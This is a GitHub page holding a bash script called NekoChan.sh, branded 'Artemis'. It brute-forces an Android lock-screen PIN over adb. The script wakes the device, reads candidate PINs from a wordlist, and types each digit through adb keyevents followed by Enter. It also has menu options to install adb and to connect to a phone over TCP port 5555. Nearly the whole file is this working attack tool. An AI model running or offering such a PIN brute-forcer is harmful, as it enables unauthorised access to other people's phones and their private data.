-
Notifications
You must be signed in to change notification settings - Fork 0
/
NekoChan.sh
102 lines (82 loc) · 2.02 KB
/
NekoChan.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env bash
lb="\e[1;32m"
n="\e[0m"
lb="\e[1;34m"
clear
echo "Name :"$(hostname)
sleep 0.5
echo "Kenel : "$(uname)
sleep 0.5
echo "Your Ip : "$(ip -o route get to 8.8.8.8 | sed -n 's/.*src \([0-9.]\+\).*/\1/p')
sleep 0.6
clear
function balik() {
clear
balik=$(pwd)/'NekoChan.sh'
bash $balik
}
echo -e "${lb}
_ _ _ ____ _
| \ | | ___| | _____ / ___| |__ __ _ _ __
| \| |/ _ \ |/ / _ \| | | '_ \ / _' | '_ \
| |\ | __/ < (_) | |___| | | | (_| | | | |
|_| \_|\___|_|\_\___/ \____|_| |_|\__,_|_| |_|
${n}"
date
echo -e "${lb} Artemis ${n}"
echo " "
echo "1. Make List"
echo "2. BruteNow"
echo "3. Install Requirement"
echo "4. Check adb device"
echo "5. Connect/Disconnect TCP"
echo " "
read -p "root@artemis:#~ " chose
if [[ $chose == 1 ]];
then
gedit list.txt
balik
elif [[ $chose == 2 ]];
then
adb shell input keyevent 26
adb shell input keyevent 82
echo "Your list : " ls *txt
echo " "
read -p "Input List : " file
for i in `cat $file`;
do
echo " "${i}
for (( j=0; j<${#i}; j++ ));
do
adb shell input keyevent $((`echo ${i:$j:1}`+7))
done
adb shell input keyevent 66
done
balik
elif [[ $chose == 3 ]];
then
apt install adb
balik
elif [[ $chose == 4 ]];
then
adb devices
sleep 3
balik
elif [[ $chose == 5 ]];
then
echo "1. Connect"
echo "2. Disconnect"
read -p ">> Input : " select
if [[ $select == 1 ]];
then
adb tcpip 5555
read -p "Input Your Android IP : " ipaddres
adb connect $ipaddres:5555
balik
elif [[ $select == 2 ]];
then
read -p "Input Your Android IP : " ipaddres
adb disconnect $ipaddres:5555
balik
fi
fi